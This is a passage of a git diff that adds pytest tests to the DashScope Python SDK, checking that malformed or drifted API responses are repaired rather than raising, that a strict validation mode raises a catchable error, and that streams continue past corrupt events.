ChatCompletion, + { + "request_id": "req-1", + "code": "InvalidParameter", + "message": "bad", + "usage": "unlimited", + }, + ) + assert parsed.is_error is True + assert parsed.code == "InvalidParameter" + + +def test_list_elements_are_repaired_in_place_keeping_every_index(): + # Callers merge tool calls by position, so a dropped element would + # silently misalign the ones after it. + good = {"id": "1", "type": "function", "function": {"name": "f"}} + parsed = parse_model( + ChatCompletion, + _completion( + choices=[ + { + "index": 0, + "message": { + "role": "assistant", + "tool_calls": [good, 5, good], + }, + }, + ], + ), + ) + calls = parsed.choices[0].message.tool_calls + assert len(calls) == 3 + assert calls[0].function.name == "f" + assert calls[2].function.name == "f" + # The repaired slot is a real model at its original index, not a + # hole the two healthy calls collapsed into. + assert isinstance(calls[1], ToolCall) + assert calls[1].function.name is None + + +def test_two_drifted_siblings_keep_the_healthy_third(): + # Repairing ``usage.input_tokens`` yields a Usage instance; the second + # error on the same root must not then mistake that instance for + # unrepairable input and throw the whole bag -- healthy + # ``total_tokens`` included -- away. + parsed = parse_model( + ChatCompletion, + _completion( + usage={ + "input_tokens": "many", + "output_tokens": "lots", + "total_tokens": 9, + }, + ), + ) + assert isinstance(parsed.usage, Usage) + assert parsed.usage.total_tokens == 9 + assert (parsed.usage.input_tokens, parsed.usage.output_tokens) == (0, 0) + + +def test_two_drifted_elements_keep_their_healthy_neighbours(): + parsed = parse_model( + ChatCompletion, + _completion( + choices=[ + { + "index": "zero", + "message": {"role": "assistant", "content": "a"}, + }, + {"index": 1, "message": {"role": "assistant", "content": "b"}}, + {"index": 2, "message": {"role": "assistant", "content": 3}}, + ], + ), + ) + assert [c.message.content for c in parsed.choices] == ["a", "b", None] + assert [c.index for c in parsed.choices] == [0, 1, 2] + + +def test_a_nested_missing_field_keeps_its_healthy_siblings(): + # The gap is at ``choices[1].message``. Zeroing the whole ``choices`` + # root would discard the element pydantic had already accepted. + parsed = parse_model( + ChatCompletion, + _completion( + choices=[ + { + "index": 0, + "message": {"role": "assistant", "content": "keep"}, + }, + {"index": 1}, + ], + ), + ) + assert len(parsed.choices) == 2 + assert parsed.choices[0].message.content == "keep" + assert parsed.choices[1].index == 1 + assert parsed.choices[1].message.role == "assistant" + + +def test_a_non_mapping_body_degrades_instead_of_raising(): + # ``dict(data)`` on a string raised ValueError and on a number + # TypeError, and it did so in strict mode too -- ahead of the + # validation error strict mode promises. + for body in ("a string", 42, None): + parsed = parse_model(ChatCompletion, body) + assert isinstance(parsed, ChatCompletion) + assert parsed.request_id is None + assert parsed.choices == [] + + +def test_a_non_mapping_body_reports_a_validation_error_in_strict_mode(): + with pytest.raises(APIResponseValidationError) as caught: + parse_model( + ChatCompletion, + "a string", + strict=True, + response=_resp(200), + ) + assert caught.value.body == "a string" + assert caught.value.response.status_code == 200 + + +def test_extra_fields_survive_a_degraded_parse(): + parsed = parse_model( + ChatCompletion, + _completion(usage="unlimited", provider_new_field={"x": 1}), + ) + assert parsed.model_extra["provider_new_field"] == {"x": 1} + assert parsed.provider_new_field == {"x": 1} + + +def test_drift_on_an_aliased_field_is_repaired(): + # ValidationError reports the alias it read (``open_source``), not the + # field name, so resolving the location needs pydantic's aliasing + # reversed. Both spellings of the alias are covered. + assert parse_model(Model, {"open_source": "not-a-bool"}).open_source is ( + None + ) + assert parse_model(Model, {"opensource": "not-a-bool"}).open_source is ( + None + ) + + +# -------------------------------------------------------------------------- +# Stage 3: cross-field invariants that re-validation cannot satisfy +# -------------------------------------------------------------------------- + + +class _CrossField(BaseModel): + model_config = ConfigDict(extra="allow") + + low: int = 0 + high: int = 0 + flagged: bool = False + + @model_validator(mode="after") + def _ordered(self) -> "_CrossField": + if self.low > self.high: + raise ValueError("low must not exceed high") + self.flagged = True + return self + + +class _BeforeAlwaysFails(BaseModel): + """Forces stage 3: no validation pass can ever succeed.""" + + model_config = ConfigDict(extra="allow") + + code: Optional[str] = None + is_error: bool = False + + @model_validator(mode="before") + @classmethod + def _refuse(cls, value): + raise ValueError("before validators are never re-run") + + @model_validator(mode="after") + def _flag(self) -> "_BeforeAlwaysFails": + if self.code: + self.is_error = True + return self + + +def test_a_cross_field_invariant_falls_back_to_construct(): + # Each field is individually valid, so repairing cannot help; the + # body is still worth keeping rather than losing. + parsed = parse_model(_CrossField, {"low": 5, "high": 1, "extra": "kept"}) + assert parsed.low == 5 + assert parsed.high == 1 + assert parsed.model_extra == {"extra": "kept"} + + +def test_an_after_validator_that_still_fails_does_not_raise(): + # The invariant is genuinely violated by this body, so re-running it + # fails again; a degraded parse logs that instead of raising. + assert parse_model(_CrossField, {"low": 5, "high": 1}).flagged is False + + +def test_the_construct_fallback_reruns_after_validators(): + # Proof the fallback restores the state ``model_construct`` skips: + # the before-validator is deliberately not re-run (it transforms raw + # input), while the after-validator's effect is present. + parsed = parse_model(_BeforeAlwaysFails, {"code": "InvalidParameter"}) + assert parsed.code == "InvalidParameter" + assert parsed.is_error is True + + +# -------------------------------------------------------------------------- +# strict mode +# -------------------------------------------------------------------------- + + +def test_strict_raises_api_response_validation_error_carrying_the_body(): + body = _completion(usage="unlimited") + response = _resp(200, body, {"x-request-id": "header-id"}) + with pytest.raises(APIResponseValidationError) as caught: + parse_model(ChatCompletion, body, strict=True, response=response) + err = caught.value + assert err.body == body + assert isinstance(err.cause, ValidationError) + assert err.response is response + # request_id comes from the body first, the header second. + assert err.request_id == "req-1" + + +def test_a_strict_failure_is_catchable_as_a_dashscope_error(): + # The whole point of raising the catalogued class instead of letting + # pydantic escape: one except clause covers it. + with pytest.raises(DashScopeError): + parse_model( + ChatCompletion, + _completion(usage="unlimited"), + strict=True, + ) + + +def test_strict_mode_logs_before_raising(caplog): + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + with pytest.raises(APIResponseValidationError): + parse_model( + ChatCompletion, + _completion(usage="unlimited"), + strict=True, + ) + messages = [r.getMessage() for r in caplog.records] + assert any("strict validation" in m for m in messages) + + +# -------------------------------------------------------------------------- +# Logging contract +# -------------------------------------------------------------------------- + + +def test_drift_is_logged_at_debug_level(caplog): + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + parse_model(ChatCompletion, _completion(usage="unlimited")) + records = [r for r in caplog.records if "response drift" in r.getMessage()] + assert records + assert all(r.levelno == logging.DEBUG for r in records) + messages = " ".join(r.getMessage() for r in records) + assert "ChatCompletion.usage" in messages + # The type is what identifies the drift; the value is user content. + assert "(got str)" in messages + + +def test_drift_logs_never_carry_the_raw_value(caplog): + # A response body holds user prompts and model output, and the + # redaction filter is key-oriented, so it would not catch these. + secret = "the-user-sent-this-prompt" + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + parse_model(ChatCompletion, _completion(usage=secret)) + messages = " ".join(r.getMessage() for r in caplog.records) + assert secret not in messages + + +# -------------------------------------------------------------------------- +# Scope boundary: input models keep failing fast +# -------------------------------------------------------------------------- + + +def test_a_user_supplied_part_type_still_raises(): + # TextPart is an input model. Fault tolerance is for the server + # drifting, not for absorbing a caller's typo silently. + with pytest.raises(ValidationError): + TextPart(type="texst", text="hello") diff --git a/tests/test_protocols.py b/tests/test_protocols.py index 1554e4d4..259a17a0 100644 --- a/tests/test_protocols.py +++ b/tests/test_protocols.py @@ -8,7 +8,11 @@ import pytest from dashscope import Client -from dashscope.errors import BadRequestError, DashScopeError +from dashscope.errors import ( + APIResponseValidationError, + BadRequestError, + DashScopeError, +) from dashscope.protocols import ( AnthropicProtocol, NativeProtocol, @@ -16,6 +20,7 @@ get_protocol, ) from dashscope.protocols.base import ChatRequest +from dashscope.types.completions import parse_chunk, parse_completion BASE_URL = "https://api.test.local/api/v1" CHAT_PATH = "/api/v1/services/aigc/text-generation/generation" @@ -1880,3 +1885,133 @@ def handler(request): assert usage.total_tokens == 120 assert usage.prompt_tokens_details == {"cached_tokens": 64} assert usage.completion_tokens_details == {"reasoning_tokens": 12} + + +# -------------------------------------------------------------------------- +# Response drift: every adapter degrades rather than leaking a bare +# pydantic ValidationError, and honours strict_validation when asked. +# -------------------------------------------------------------------------- + +_NATIVE_DRIFT = { + "request_id": "r1", + "output": {"text": "hi"}, + "usage": "unlimited", +} +_OPENAI_DRIFT = { + "id": "chatcmpl-1", + "model": "qwen-plus", + "choices": [ + {"index": 0, "message": {"role": "assistant", "content": "hi"}}, + ], + "usage": "unlimited", +} +_ANTHROPIC_DRIFT = { + "id": "msg-1", + "model": "claude-x", + "content": [{"type": "text", "text": "hi"}], + "usage": "unlimited", +} +_ANTHROPIC_EVENT = { + "type": "message_start", + "message": {"id": "msg-1", "usage": {"input_tokens": "many"}}, +} + + +def test_native_free_functions_degrade_a_drifted_usage(): + completion = parse_completion(_NATIVE_DRIFT) + assert completion.output_text == "hi" + assert completion.request_id == "r1" + assert completion.usage is None + chunk = parse_chunk(_NATIVE_DRIFT) + assert chunk.delta.content == "hi" + assert chunk.usage is None + + +def test_every_adapter_degrades_a_drifted_usage(): + cases = [ + (NativeProtocol(), _NATIVE_DRIFT, "hi"), + (OpenAIProtocol(), _OPENAI_DRIFT, "hi"), + (AnthropicProtocol(), _ANTHROPIC_DRIFT, "hi"), + ] + for protocol, body, expected in cases: + completion = protocol.parse_completion(body) + assert completion.output_text == expected, protocol.name + assert completion.usage is None, protocol.name + + +def test_strict_validation_raises_a_catchable_error_per_adapter(): + cases = [ + (NativeProtocol(), _NATIVE_DRIFT), + (OpenAIProtocol(), _OPENAI_DRIFT), + (AnthropicProtocol(), _ANTHROPIC_DRIFT), + ] + for protocol, body in cases: + with pytest.raises(APIResponseValidationError) as excinfo: + protocol.parse_completion(body, strict_validation=True) + error = excinfo.value + # The point of the flag: a caller's ``except DashScopeError`` + # catches a parse failure instead of a bare ValidationError. + assert isinstance(error, DashScopeError), protocol.name + assert error.body["usage"] == "unlimited", protocol.name + assert error.cause is not None, protocol.name + + +def test_the_default_parser_degrades_and_the_flag_overrides_it(): + protocol = AnthropicProtocol() + lenient = protocol.make_chunk_parser() + chunk = lenient(_ANTHROPIC_EVENT) + assert chunk is not None + assert chunk.usage is not None + assert chunk.usage.input_tokens == 0 + + strict = protocol.make_chunk_parser(strict_validation=True) + with pytest.raises(APIResponseValidationError): + strict(_ANTHROPIC_EVENT) + + # parse_chunk keeps one shared stateful parser, so the mode is a + # per-call override rather than a rebuilt parser. + with pytest.raises(APIResponseValidationError): + protocol.parse_chunk(_ANTHROPIC_EVENT, strict_validation=True) + assert protocol.parse_chunk(_ANTHROPIC_EVENT) is not None + + +def test_native_chunk_parser_honours_strict_validation(): + parse = NativeProtocol().make_chunk_parser(strict_validation=True) + with pytest.raises(APIResponseValidationError): + parse(_NATIVE_DRIFT) + lenient = NativeProtocol().make_chunk_parser() + assert lenient(_NATIVE_DRIFT).usage is None + + +def test_openai_drifted_usage_counters_do_not_raise_type_error(): + # Summing a string counter used to blow up inside the adapter, + # before the model layer that repairs it ever ran. + completion = OpenAIProtocol().parse_completion( + { + "id": "chatcmpl-1", + "choices": [], + "usage": {"prompt_tokens": "many", "completion_tokens": 3}, + }, + ) + usage = completion.usage + assert usage is not None + assert usage.input_tokens == 0 + assert usage.output_tokens == 3 + # The derived total falls back to Usage's own default rather than + # being summed from a value that is not a number. + assert usage.total_tokens == 0 + + +def test_anthropic_drifted_usage_counters_do_not_raise_type_error(): + completion = AnthropicProtocol().parse_completion( + { + "id": "msg-1", + "content": [], + "usage": {"input_tokens": "many", "output_tokens": 2}, + }, + ) + usage = completion.usage + assert usage is not None + assert usage.input_tokens == 0 + assert usage.output_tokens == 2 + assert usage.total_tokens == 0 diff --git a/tests/test_response_drift.py b/tests/test_response_drift.py new file mode 100644 index 00000000..8ac940fe --- /dev/null +++ b/tests/test_response_drift.py @@ -0,0 +1,720 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""End-to-end tests for fault-tolerant response parsing (T2). + +These drive a real ``Client`` against a mock transport, so they cover the +whole path -- protocol adapter, ``parse_model``, the streaming wrapper and +the resource parse helpers -- rather than the model layer alone. The unit +behaviour of the salvage algorithm lives in ``tests/test_parse_model.py``. +""" + +# Mock handlers intentionally ignore the request argument. +# pylint: disable=unused-argument + +from __future__ import annotations + +import json +import logging + +import httpx +import pytest +from pydantic import BaseModel, ValidationError + +from dashscope import AsyncClient, Client +from dashscope.errors import APIResponseValidationError, DashScopeError +from dashscope.resources._jobs import Jobs +from dashscope.transport.sse import AsyncStream, Stream + +BASE_URL = "https://api.test.local/api/v1" + +# The drift under test: ``usage`` retyped from an object to a string. It is +# the shape that originally escaped as a bare pydantic ValidationError. +NATIVE_DRIFT_BODY = { + "request_id": "r-drift", + "output": {"text": "hi"}, + "usage": "unlimited", +} +OPENAI_DRIFT_BODY = { + "id": "chatcmpl-drift", + "model": "qwen-plus", + "choices": [ + { + "index": 0, + "message": {"role": "assistant", "content": "hi"}, + "finish_reason": "stop", + }, + ], + "usage": "unlimited", +} +ANTHROPIC_DRIFT_BODY = { + "id": "msg-drift", + "model": "claude-x", + "content": [{"type": "text", "text": "hi"}], + "usage": "unlimited", +} + + +def _make_client(handler, **kwargs): + mock = httpx.MockTransport(handler) + http_client = httpx.Client(transport=mock, base_url=BASE_URL) + kwargs.setdefault("base_url", BASE_URL) + return Client(api_key="sk-test", http_client=http_client, **kwargs) + + +def _make_async_client(handler, **kwargs): + mock = httpx.MockTransport(handler) + http_client = httpx.AsyncClient(transport=mock, base_url=BASE_URL) + kwargs.setdefault("base_url", BASE_URL) + return AsyncClient(api_key="sk-test", http_client=http_client, **kwargs) + + +def _sse(events): + out = [] + for index, data in enumerate(events, 1): + payload = data if isinstance(data, str) else json.dumps(data) + out.append(f"id: {index}\ndata: {payload}\n\n") + return "".join(out) + + +def _json_response(body): + return httpx.Response(200, json=body) + + +def _drift_records(caplog): + return [r for r in caplog.records if "response drift" in r.getMessage()] + + +# --------------------------------------------------------------------------- +# every protocol degrades a drifted body instead of raising +# --------------------------------------------------------------------------- + + +def test_native_chat_degrades_a_drifted_usage(caplog): + client = _make_client(lambda request: _json_response(NATIVE_DRIFT_BODY)) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + completion = client.chat.completions.create( + model="qwen-plus", + messages="hi", + ) + assert completion.output_text == "hi" + assert completion.request_id == "r-drift" + assert completion.usage is None + assert not completion.is_error + assert _drift_records(caplog), "degradation must be logged" + + +def test_openai_chat_degrades_a_drifted_usage(caplog): + client = _make_client( + lambda request: _json_response(OPENAI_DRIFT_BODY), + protocol="openai", + ) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + completion = client.chat.completions.create( + model="qwen-plus", + messages="hi", + ) + assert completion.output_text == "hi" + assert completion.usage is None + assert _drift_records(caplog) + + +def test_anthropic_chat_degrades_a_drifted_usage(caplog): + client = _make_client( + lambda request: _json_response(ANTHROPIC_DRIFT_BODY), + protocol="anthropic", + ) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + completion = client.chat.completions.create( + model="claude-x", + messages="hi", + ) + assert completion.output_text == "hi" + assert completion.usage is None + assert _drift_records(caplog) + + +def test_a_clean_body_still_parses_and_logs_nothing(caplog): + body = dict(NATIVE_DRIFT_BODY) + body["usage"] = {"input_tokens": 1, "output_tokens": 2} + client = _make_client(lambda request: _json_response(body)) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + completion = client.chat.completions.create( + model="qwen-plus", + messages="hi", + ) + assert completion.usage.input_tokens == 1 + assert completion.usage.output_tokens == 2 + assert not _drift_records(caplog) + + +# --------------------------------------------------------------------------- +# strict mode: the drift becomes an error the caller can catch +# --------------------------------------------------------------------------- + + +def test_strict_validation_raises_an_error_a_caller_can_catch(caplog): + # The acceptance criterion for the whole feature: with the flag on, a + # drifted body surfaces inside ``except DashScopeError`` rather than as + # a pydantic ValidationError the caller has no reason to import. + client = _make_client( + lambda request: _json_response(NATIVE_DRIFT_BODY), + strict_validation=True, + ) + caught = None + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + try: + client.chat.completions.create(model="qwen-plus", messages="hi") + except DashScopeError as exc: + caught = exc + assert isinstance(caught, APIResponseValidationError) + assert isinstance(caught.cause, ValidationError) + assert caught.body["usage"] == "unlimited" + # The chat path parses a dict built from the body, not the response + # object, so the request id is recovered from the payload instead. + assert caught.request_id == "r-drift" + assert _drift_records(caplog) + + +# One drifted body per wire format, with the model name its adapter expects. +_DRIFT_CASES = [ + ("native", NATIVE_DRIFT_BODY, "qwen-plus"), + ("openai", OPENAI_DRIFT_BODY, "qwen-plus"), + ("anthropic", ANTHROPIC_DRIFT_BODY, "claude-x"), +] + + +@pytest.mark.parametrize("protocol, body, model", _DRIFT_CASES) +def test_strict_validation_applies_to_every_protocol(protocol, body, model): + client = _make_client( + lambda request: _json_response(body), + protocol=protocol, + strict_validation=True, + ) + with pytest.raises(APIResponseValidationError): + client.chat.completions.create(model=model, messages="hi") + + +def test_strict_validation_raises_even_under_raise_on_error_false(): + # Deliberate: the flag is an explicit opt-in for contract testing and is + # orthogonal to the compat mode, which governs *service* errors only. + client = _make_client( + lambda request: _json_response(NATIVE_DRIFT_BODY), + strict_validation=True, + raise_on_error=False, + ) + with pytest.raises(APIResponseValidationError): + client.chat.completions.create(model="qwen-plus", messages="hi") + + +# --------------------------------------------------------------------------- +# streaming: one bad event must not end the iteration +# --------------------------------------------------------------------------- + + +_CHUNKED_EVENTS = [ + { + "id": "c-drift", + "choices": [ + {"index": 0, "delta": {"role": "assistant", "content": "he"}}, + ], + }, + # A number where the model declares ``Optional[str]``. + {"id": "c-drift", "choices": [{"index": 0, "delta": {"content": 123}}]}, + { + "id": "c-drift", + "choices": [ + {"index": 0, "delta": {"content": "llo"}, "finish_reason": "stop"}, + ], + }, + "[DONE]", +] + + +def _stream_handler(request): + return httpx.Response( + 200, + text=_sse(_CHUNKED_EVENTS), + headers={"content-type": "text/event-stream"}, + ) + + +def test_streaming_continues_past_a_corrupt_delta(caplog): + client = _make_client(_stream_handler, protocol="openai") + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + stream = client.chat.completions.create( + model="qwen-plus", + messages="hi", + stream=True, + ) + chunks = list(stream) + # All three events arrived; the corrupt one degraded to an empty delta + # instead of tearing down the iterator mid-flight. + assert len(chunks) == 3 + assert chunks[0].choices[0].delta.content == "he" + assert chunks[1].choices[0].delta.content is None + assert chunks[2].choices[0].delta.content == "llo" + assert _drift_records(caplog) + + +@pytest.mark.asyncio +async def test_async_streaming_continues_past_a_corrupt_delta(caplog): + client = _make_async_client(_stream_handler, protocol="openai") + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + stream = await client.chat.completions.create( + model="qwen-plus", + messages="hi", + stream=True, + ) + contents = [chunk.choices[0].delta.content async for chunk in stream] + assert contents == ["he", None, "llo"] + assert _drift_records(caplog) + await client.aclose() + + +def test_get_final_message_survives_a_corrupt_delta(): + client = _make_client(_stream_handler, protocol="openai") + stream = client.chat.completions.create( + model="qwen-plus", + messages="hi", + stream=True, + ) + final = stream.get_final_message() + assert final.output_text == "hello" + assert isinstance(final.choices[0].message.role, str) + + +@pytest.mark.asyncio +async def test_async_get_final_message_survives_a_corrupt_delta(): + client = _make_async_client(_stream_handler, protocol="openai") + stream = await client.chat.completions.create( + model="qwen-plus", + messages="hi", + stream=True, + ) + final = await stream.get_final_message() + assert final.output_text == "hello" + await client.aclose() + + +def test_strict_validation_raises_mid_stream(): + client = _make_client( + _stream_handler, + protocol="openai", + strict_validation=True, + ) + stream = client.chat.completions.create( + model="qwen-plus", + messages="hi", + stream=True, + ) + with pytest.raises(APIResponseValidationError) as caught: + list(stream) + # The parser is bound to the stream's envelope, so a mid-stream + # failure still names the response it came from. + assert caught.value.response is not None + assert caught.value.response.status_code == 200 + + +# --------------------------------------------------------------------------- +# the transport-level net: a parser that validates on its own is converted +# --------------------------------------------------------------------------- + + +class _ValidatingModel(BaseModel): + """Stands in for a resource whose parser has no salvage step.""" + + total: int + + +def _validating_parse(body): + return _ValidatingModel.model_validate(body) + + +def test_stream_converts_a_bare_validation_error(): + # Chat parsers degrade, so this net only fires for a parser that + # validates directly (today: audio and tingwu streams). It still + # matters -- mid-iteration, after earlier chunks were consumed, a raw + # pydantic error would slip past the caller's ``except DashScopeError``. + response = httpx.Response( + 200, + text=_sse([{"total": 1}, {"total": "many"}]), + headers={"content-type": "text/event-stream"}, + ) + with pytest.raises(APIResponseValidationError) as caught: + list(Stream(response, _validating_parse)) + assert isinstance(caught.value, DashScopeError) + assert caught.value.body == {"total": "many"} + assert isinstance(caught.value.cause, ValidationError) + + +@pytest.mark.asyncio +async def test_async_stream_converts_a_bare_validation_error(): + response = httpx.Response( + 200, + text=_sse([{"total": 1}, {"total": "many"}]), + headers={"content-type": "text/event-stream"}, + ) + with pytest.raises(APIResponseValidationError) as caught: + async for _ in AsyncStream(response, _validating_parse): + pass + assert caught.value.body == {"total": "many"} + + +# --------------------------------------------------------------------------- +# resources: models, files, jobs +# --------------------------------------------------------------------------- + + +def test_models_list_degrades_a_null_total_count(caplog): + def handler(request): + return _json_response( + { + "request_id": "r-models", + "output": { + "page_no": 1, + "page_size": 10, + "total": None, + "models": [{"model": "qwen-plus", "open_source": "maybe"}], + }, + }, + ) + + client = _make_client(handler) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + page = client.models.list() + assert page.total_count == 0 + assert page.models[0].model == "qwen-plus" + assert _drift_records(caplog) + + +def test_models_get_degrades_a_drifted_model(caplog): + def handler(request): + return _json_response( + { + "request_id": "r-model", + "output": { + "models": [ + {"model": "qwen-plus", "open_source": "maybe"}, + ], + }, + }, + ) + + client = _make_client(handler) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + model = client.models.get("qwen-plus") + assert model.model == "qwen-plus" + assert model.open_source is None + assert _drift_records(caplog) + + +def test_files_list_degrades_a_drifted_size(caplog): + def handler(request): + return _json_response( + { + "request_id": "r-files", + "data": { + "page_no": 1, + "page_size": 10, + "total": 1, + "files": [ + { + "file_id": "f-1", + "name": "t.jsonl", + "size": "12kb", + }, + ], + }, + }, + ) + + client = _make_client(handler) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + listed = client.files.list() + assert listed.files[0].file_id == "f-1" + # ``size`` is Optional, so the repair is its declared default rather + # than a zeroed int -- a missing count reads as unknown, not as empty. + assert listed.files[0].size is None + assert listed.total_count == 1 + assert _drift_records(caplog) + + +def test_files_get_degrades_a_drifted_uploaded_at(caplog): + def handler(request): + return _json_response( + { + "request_id": "r-file", + "data": { + "file_id": "f-1", + "uploaded_at": 1700000000, + "purpose": "fine-tune", + }, + }, + ) + + client = _make_client(handler) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + got = client.files.get("f-1") + assert got.file_id == "f-1" + assert got.uploaded_at is None + assert _drift_records(caplog) + + +def test_job_fetch_degrades_a_drifted_task_status(caplog): + def handler(request): + return _json_response( + { + "request_id": "r-job", + "output": { + "task_id": "task-1", + "task_status": 200, + "results": [{"url": "https://example.test/a.png"}], + }, + "usage": {"input_tokens": "many"}, + }, + ) + + client = _make_client(handler) + jobs = Jobs(client, "aigc") + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + job = jobs.fetch("task-1") + # ``status`` is aliased from ``task_status``, so the repair has to + # resolve the alias to find the field it is fixing. + assert job.task_id == "task-1" + assert job.status == "" + assert not job.succeeded + assert job.usage.input_tokens == 0 + # A drifted sibling must not cost the caller the healthy fields. + assert job.image_urls == ["https://example.test/a.png"] + assert _drift_records(caplog) + + +def test_job_list_degrades_a_drifted_task(caplog): + def handler(request): + return _json_response( + { + "request_id": "r-jobs", + "page_no": 1, + "page_size": 10, + "total": "many", + "tasks": [ + {"task_id": "task-1", "task_status": "SUCCEEDED"}, + {"task_id": "task-2", "submit_time": 1700000000}, + ], + }, + ) + + client = _make_client(handler) + jobs = Jobs(client, "aigc") + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + page = jobs.list() + assert page.total == 0 + assert page.tasks[0].task_id == "task-1" + assert page.tasks[0].succeeded + # The drifted entry keeps its index: a caller paging by position would + # be misaligned if the repair dropped it instead. + assert page.tasks[1].task_id == "task-2" + assert page.tasks[1].submitted_at is None + assert _drift_records(caplog) + + +@pytest.mark.asyncio +async def test_async_resources_degrade_too(caplog): + def handler(request): + return _json_response( + { + "request_id": "r-files", + "data": {"files": [{"file_id": "f-1", "size": "12kb"}]}, + }, + ) + + client = _make_async_client(handler) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + listed = await client.files.list() + # ``size`` is Optional, so the repair is its declared default rather + # than a zeroed int -- a missing count reads as unknown, not as empty. + assert listed.files[0].size is None + assert _drift_records(caplog) + await client.aclose() + + +def test_strict_validation_covers_the_resource_layer(): + def handler(request): + return _json_response( + { + "request_id": "r-files", + "data": {"files": [{"file_id": "f-1", "size": "12kb"}]}, + }, + ) + + client = _make_client(handler, strict_validation=True) + with pytest.raises(APIResponseValidationError) as caught: + client.files.list() + # ``body`` is the payload handed to the model, which a resource helper + # has already unwrapped out of the wire envelope -- still enough to see + # exactly which field drifted. + assert caught.value.body["files"][0]["size"] == "12kb" + # The response is threaded through the helper too, so the caller can + # read the status and headers of the body that failed. + assert caught.value.response is not None + assert caught.value.response.status_code == 200 + + +# --------------------------------------------------------------------------- +# drift that used to escape as a bare ValueError / TypeError / AttributeError +# --------------------------------------------------------------------------- + + +def test_anthropic_streaming_survives_a_drifted_usage_bag(): + # ``dict.update()`` on a retyped bag raised ValueError (a string) or + # TypeError (a number) mid-iteration, outside any handler the caller + # could write -- and after earlier chunks were already consumed. + events = [ + { + "type": "message_start", + "message": {"id": "msg-1", "model": "m", "usage": "unlimited"}, + }, + { + "type": "content_block_start", + "index": 0, + "content_block": {"type": "text", "text": ""}, + }, + { + "type": "content_block_delta", + "index": 0, + "delta": {"type": "text_delta", "text": "hi"}, + }, + {"type": "message_delta", "usage": 5}, + {"type": "message_stop"}, + ] + + def handler(request): + return httpx.Response( + 200, + text=_sse(events), + headers={"content-type": "text/event-stream"}, + ) + + client = _make_client(handler, protocol="anthropic") + stream = client.chat.completions.create( + model="claude-x", + messages="hi", + stream=True, + ) + assert "".join(stream.text_stream) == "hi" + + +def test_a_non_mapping_choice_element_degrades_instead_of_raising(): + # ``dict(raw)`` on a bare string raised ValueError before parse_model + # ever saw the body. + def handler(request): + return _json_response( + { + "request_id": "r-drift", + "output": { + "choices": [ + "oops", + { + "index": 1, + "finish_reason": "stop", + "message": {"role": "assistant", "content": "ok"}, + }, + ], + }, + }, + ) + + client = _make_client(handler) + result = client.chat.completions.create(model="qwen-plus", messages="hi") + # The bad element keeps its slot rather than being dropped, so the + # healthy choice stays at the index the server put it at. + assert len(result.choices) == 2 + assert result.choices[1].message.content == "ok" + + +def test_a_non_mapping_choice_element_keeps_a_stream_positionally_aligned(): + def handler(request): + return httpx.Response( + 200, + text=_sse( + [ + { + "id": "c-drift", + "choices": [ + "oops", + {"index": 1, "delta": {"content": "ok"}}, + ], + }, + "[DONE]", + ], + ), + headers={"content-type": "text/event-stream"}, + ) + + client = _make_client(handler, protocol="openai") + stream = client.chat.completions.create( + model="qwen-plus", + messages="hi", + stream=True, + ) + (chunk,) = list(stream) + assert [choice.index for choice in chunk.choices] == [0, 1] + assert chunk.choices[1].delta.content == "ok" + + +def test_a_non_mapping_content_block_is_skipped_by_the_anthropic_adapter(): + def handler(request): + return _json_response( + { + "id": "msg-drift", + "model": "claude-x", + "content": ["oops", {"type": "text", "text": "hi"}], + }, + ) + + client = _make_client(handler, protocol="anthropic") + result = client.chat.completions.create(model="claude-x", messages="hi") + assert result.output_text == "hi" + + +def test_a_non_mapping_output_envelope_degrades_instead_of_raising(): + def handler(request): + return _json_response({"request_id": "r-drift", "output": "oops"}) + + client = _make_client(handler) + result = client.chat.completions.create(model="qwen-plus", messages="hi") + assert result.request_id == "r-drift" + assert result.choices == [] + + +def test_strict_validation_reaches_the_image_sync_path(): + # ``images.generate`` answers synchronously for multimodal-protocol + # models and builds its Job through a helper of its own; without the + # flag threaded there, strict mode was silently ignored on that path. + def handler(request): + return _json_response( + { + "request_id": "r-img", + "submit_time": 5, + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": {"content": [{"text": "hi"}]}, + }, + ], + }, + }, + ) + + client = _make_client(handler, strict_validation=True) + with pytest.raises(APIResponseValidationError) as caught: + client.images.generate(model="wan2.6-t2i", prompt="a cat") + assert caught.value.response is not None + + degraded = _make_client(handler).images.generate( + model="wan2.6-t2i", + prompt="a cat", + ) + assert degraded.succeeded + assert degraded.submitted_at is None diff --git a/tests/test_settings.py b/tests/test_settings.py index e150c845..df401195 100644 --- a/tests/test_settings.py +++ b/tests/test_settings.py @@ -30,6 +30,7 @@ def clean(monkeypatch): "DASHSCOPE_REGION", "DASHSCOPE_WEBSOCKET_BASE_URL", "DASHSCOPE_PROTOCOL", + "DASHSCOPE_STRICT_VALIDATION", "DASHSCOPE_LOG", "DASHSCOPE_CONFIG", ): @@ -59,6 +60,7 @@ def test_defaults(clean): assert settings.protocol == "native" assert settings.websocket_base_url is None assert settings.log_level is None + assert settings.strict_validation is False def test_base_url_default_is_native_regardless_of_protocol(clean): @@ -160,6 +162,43 @@ def test_setter_validation(clean): settings.base_url = 123 +def test_strict_validation_lazy_env_and_setter(clean): + assert settings.strict_validation is False + clean.setenv("DASHSCOPE_STRICT_VALIDATION", "true") + assert settings.strict_validation is True + settings.strict_validation = False + # An explicit False has to win over the env: a truthiness check here + # would fall through to it and report True. + assert settings.strict_validation is False + settings.clear() + assert settings.strict_validation is True + + +def test_strict_validation_setter_uses_the_env_truth_table(clean): + for raw, expected in ( + ("0", False), + ("off", False), + (0, False), + (1, True), + ("yes", True), + (True, True), + ): + settings.strict_validation = 